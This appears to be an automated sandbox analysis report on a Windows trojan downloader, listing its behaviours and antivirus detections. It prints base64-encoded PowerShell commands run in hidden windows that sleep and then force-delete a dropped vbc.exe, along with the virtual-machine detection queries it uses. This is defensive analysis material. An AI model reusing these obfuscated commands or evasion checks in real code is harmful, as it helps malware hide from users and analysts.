cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHQAZQBzAHQAMgAyAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB2AGIAYwAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=
cmdline	Powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA=
cmdline	Powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHQAZQBzAHQAMgAyAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB2AGIAYwAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA=

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

Executes one or more WMI queries (2 events)

wmi	select * from Win32_BIOS
wmi	select * from Win32_ComputerSystem

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 3, 2022, 10:26 a.m.	show_type: 0 filepath_r: Powershell parameters: -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA= filepath: Powershell	1	1	0
ShellExecuteExW Aug. 3, 2022, 10:27 a.m.	show_type: 0 filepath_r: Powershell parameters: -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHQAZQBzAHQAMgAyAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB2AGIAYwAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA= filepath: Powershell	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 3, 2022, 10:26 a.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0000de00', u'virtual_address': u'0x00004000', u'entropy': 7.262777560418916, u'name': u'.rsrc', u'virtual_size': u'0x0000de00'}

entropy

7.26277756042

description

A section with a high entropy has been found

entropy

0.909836065574

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Aug. 3, 2022, 10:26 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 3, 2022, 10:26 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 3, 2022, 10:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Executes one or more WMI queries which can be used to identify virtual machines (2 events)

wmi	select * from Win32_BIOS
wmi	select * from Win32_ComputerSystem

Communicates with host for which no DNS query was performed (1 event)

host

20.48.118.182

File has been identified by 19 AntiVirus engines on VirusTotal as malicious (19 events)

Bkav	W32.AIDetectNet.01
Malwarebytes	Trojan.Downloader.MSIL
CrowdStrike	win/malicious_confidence_70% (D)
BitDefenderTheta	Gen:NN.ZemsilF.34582.dm0@aeBlsIi
Cyren	W32/MSIL_Kryptik.HIU.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
Paloalto	generic.ml
Kaspersky	UDS:Trojan-Downloader.MSIL.PsDownload.gen
McAfee-GW-Edition	Artemis!Trojan
SentinelOne	Static AI - Malicious PE
Avira	HEUR/AGEN.1221675
Microsoft	Trojan:Win32/Wacatac.B!ml
Cynet	Malicious (score: 100)
Acronis	suspicious
McAfee	Artemis!EE71C964FF63
APEX	Malicious
Rising	Trojan.Generic/MSIL@AI.97 (RDM.MSIL:D3eHH1Oq5/aAC74IA+D+JA)
Ikarus	Trojan.MSIL.Inject

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

vbc.exe

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